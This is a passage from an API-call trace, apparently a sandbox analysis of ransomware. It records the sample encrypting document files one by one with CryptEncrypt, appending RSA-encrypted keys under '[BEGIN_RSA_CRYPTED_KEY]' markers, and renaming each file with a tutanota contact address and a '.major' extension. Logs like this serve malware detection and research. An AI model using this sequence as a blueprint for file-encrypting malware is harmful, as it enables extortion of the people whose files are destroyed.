lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x104aa, lpOverlapped=0x0) returned 1 [0147.164] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-66730, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.164] WriteFile (in: hFile=0x5e8, lpBuffer=0x641d50*, nNumberOfBytesToWrite=0x104aa, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x641d50*, lpNumberOfBytesWritten=0x2e3f9b4*=0x104aa, lpOverlapped=0x0) returned 1 [0147.164] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0147.165] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x641d50 | out: hHeap=0x570000) returned 1 [0147.165] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x104aa [0147.165] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.165] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.166] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.166] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.166] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.166] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.166] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="rjkizxDf6IdNiME3rWYXAZjx3EFqfp2AlPQxIZF9kq7kQGqU2uolEXI29j+bWTZo\nT2MEsZstCMZfSbRmU64RuRXfcWCuJrEw43b+sZQFNAFdZ6uFxCiN0ICyHezn8WcN\nmvTgyRnEwuVU6Ro+/WS5f6yN9i5SSKHN9SZ5Y7SkJ1MFZISrhopHr5JPnTiOJmK4\nzWS466ReQXZxca4QBXrS7PicHPyLKNTjcAfikmbunud8JGaKVA6AFPDwjiXcIcqa\nlMonPIHswxJwfs+QtM24k+r/JFpFUqw21fq7xqGGma4Tss8784eaai31/69GaikN\nqmcHJXmTxoRljS5kgXeEkw==\n", pcchString=0x2e3f9a8) returned 1 [0147.167] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.167] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.167] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.167] CloseHandle (hObject=0x5e8) returned 1 [0147.167] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.167] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\fGn DrSdhzxQj.pps" (normalized: "c:\\users\\fd1hvy\\documents\\fgn drsdhzxqj.pps"), lpNewFileName="\\Users\\FD1HVy\\Documents\\fGn DrSdhzxQj.pps.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\fgn drsdhzxqj.pps.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.169] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0147.169] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0147.169] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0147.169] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0147.169] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0147.169] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0147.169] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.169] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\desktop.ini", dwFileAttributes=0x80) returned 1 [0147.169] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be7e8 [0147.169] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0147.169] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be7e8 | out: hHeap=0x570000) returned 1 [0147.169] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\documents\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0147.170] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=402) returned 1 [0147.170] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x192) returned 0x57eca8 [0147.170] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x192) returned 0x5c1ce8 [0147.170] ReadFile (in: hFile=0x5e8, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x192, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x192, lpOverlapped=0x0) returned 1 [0147.171] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-402, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.171] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x192, lpOverlapped=0x0) returned 1 [0147.171] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0147.171] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.171] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x192 [0147.171] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.171] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.171] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.171] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.172] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.172] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.172] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="GxrmAqMG4EQHChP/rXvgZEjQFvuWwcd8SZky3U6iie1GUYVUiTvxPbdrQtrx1RNK\nUjvOb35UlCkkRSMcCeCWPEvjp8YR66F4Qj94hnFFauuSwvsyymjSbL61BpjrGIEz\nKZ/ZzypIlGRnpmauIL2MZZEiOIFe2fMk5wFvEWI1vcjqCZfjAIg5GZGY9osodWMX\n8w0580oKIo1ckGtl0uxKZvzWNksUnizK556ugWU7ulqCf0KY4BfN3LnAuBm98jTt\n4Q80M9bvaH1nwVJiwreZv9MTx8GvHUlhZQjyqyvZPrHbGKiVB1ZSwVWJxxOjb2i6\nxMKMDBjxx4DI289dQxLFLQ==\n", pcchString=0x2e3f9a8) returned 1 [0147.172] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.173] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.173] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.173] CloseHandle (hObject=0x5e8) returned 1 [0147.173] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.173] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\documents\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Documents\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.175] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0147.175] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0147.176] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0147.176] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0147.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0147.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0147.176] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.176] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\Database1.accdb", dwFileAttributes=0x80) returned 1 [0147.180] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0147.180] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0147.180] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0147.180] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0147.181] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=348160) returned 1 [0147.181] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x55000) returned 0x2f60050 [0147.181] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x55000) returned 0x2e40fd8 [0147.181] ReadFile (in: hFile=0x5e8, lpBuffer=0x2f60050, nNumberOfBytesToRead=0x55000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60050*, lpNumberOfBytesRead=0x2e3f9b4*=0x55000, lpOverlapped=0x0) returned 1 [0147.222] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-348160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.222] WriteFile (in: hFile=0x5e8, lpBuffer=0x2e40fd8*, nNumberOfBytesToWrite=0x55000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40fd8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x55000, lpOverlapped=0x0) returned 1 [0147.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f60050 | out: hHeap=0x570000) returned 1 [0147.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40fd8 | out: hHeap=0x570000) returned 1 [0147.224] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x55000 [0147.224] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.224] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.225] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.225] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.226] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.226] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.226] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="x5OszbJpN+YOTkuJJTgFm0naD+RlesK4sGvLj6UtHZjA68Hqg32GdiyM5kyQFcd2\n3a6w/IqG1Gqo7GTuF5rIOa0ClwPyiV3kSW0xOMia8vJaAwDzm2+I2ls5ekMpvkA0\nFW225Eb95LquRfJiQnVr9kZERQy3OunvMAFex452mCY+4UeAcRlTVLrvgjLPoET4\nNvPateNt6xtPELIgMA3RVPhWirnE8istfTq+JSKMOHkbODdllfcJNYUf7X8GaOuU\n27zDWXa5XaCbbBrvWI+GRQtDHmXOvd4KTrQlQiZXC4dIgWk9xn5C+IlHt37ii2Jg\nX4YPNEvublPgf3TPm25aBA==\n", pcchString=0x2e3f9a8) returned 1 [0147.226] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.226] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.226] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.226] CloseHandle (hObject=0x5e8) returned 1 [0147.226] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.226] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb"), lpNewFileName="\\Users\\FD1HVy\\Documents\\Database1.accdb.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0147.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0147.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0147.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0147.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0147.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0147.307] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.307] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\AyyBvwawD-ARD6.odp", dwFileAttributes=0x80) returned 1 [0147.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0147.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e0b8 [0147.308] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0147.308] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\AyyBvwawD-ARD6.odp" (normalized: "c:\\users\\fd1hvy\\documents\\ayybvwawd-ard6.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0147.308] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=98864) returned 1 [0147.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18230) returned 0x631898 [0147.308] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18230) returned 0x649ad0 [0147.309] ReadFile (in: hFile=0x5e8, lpBuffer=0x631898, nNumberOfBytesToRead=0x18230, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x18230, lpOverlapped=0x0) returned 1 [0147.313] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-98864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.313] WriteFile (in: hFile=0x5e8, lpBuffer=0x649ad0*, nNumberOfBytesToWrite=0x18230, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x649ad0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x18230, lpOverlapped=0x0) returned 1 [0147.313] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0147.313] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x649ad0 | out: hHeap=0x570000) returned 1 [0147.313] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x18230 [0147.314] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.314] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.314] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.314] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.314] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.314] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.315] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="95v90J481ZaVWwbwxZZLpBEe1LdkkUC7v08wEIGxc5BTJbOLHkZzK6QOXMa2Ij6q\nSuRyiO7WXkks5rURuVMkJq97WQwTWQSHvFGVXdncgS4bkQ2ybl4tB5TCD8ZeY2to\nctZn8uin+Uhqt3x8v5UK8lw6VdcMmeNFqiuOI+8sO+vWsbq/+kavR6lARP4zKNiz\n2KzsQG6RCDdsZv9lIC3X0zDdSWcSLdCGMPVLMeq8UNe5ZLK0kZggxMiTFs9GJftO\n9/HYoOeL+J/g4IkQ50Y/p1u1tW4k1+XZT1E1vtAc+HvkjE7nJle7UYe0pPuh3wN7\nTK3Tzx1pcO7OsUF4vNWucw==\n", pcchString=0x2e3f9a8) returned 1 [0147.315] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.315] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.315] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.315] CloseHandle (hObject=0x5e8) returned 1 [0147.315] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.315] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\AyyBvwawD-ARD6.odp" (normalized: "c:\\users\\fd1hvy\\documents\\ayybvwawd-ard6.odp"), lpNewFileName="\\Users\\FD1HVy\\Documents\\AyyBvwawD-ARD6.odp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\ayybvwawd-ard6.odp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.317] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0b8 | out: hHeap=0x570000) returned 1 [0147.317] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0147.317] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0147.317] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6a50 | out: hHeap=0x570000) returned 1 [0147.317] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0147.317] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0147.317] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.317] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\Aimu 7oplbqknXDg_c-Y.docx", dwFileAttributes=0x80) returned 1 [0147.317] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdd30 [0147.317] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e730 [0147.317] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdd30 | out: hHeap=0x570000) returned 1 [0147.317] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\Aimu 7oplbqknXDg_c-Y.docx" (normalized: "c:\\users\\fd1hvy\\documents\\aimu 7oplbqknxdg_c-y.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0147.317] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=43834) returned 1 [0147.318] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xab3a) returned 0x631898 [0147.318] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xab3a) returned 0x63c3e0 [0147.318] ReadFile (in: hFile=0x5e8, lpBuffer=0x631898, nNumberOfBytesToRead=0xab3a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xab3a, lpOverlapped=0x0) returned 1 [0147.319] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-43834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.319] WriteFile (in: hFile=0x5e8, lpBuffer=0x63c3e0*, nNumberOfBytesToWrite=0xab3a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63c3e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xab3a, lpOverlapped=0x0) returned 1 [0147.320] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0147.320] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x63c3e0 | out: hHeap=0x570000) returned 1 [0147.320] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xab3a [0147.320] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.320] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.320] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.320] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.320] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, 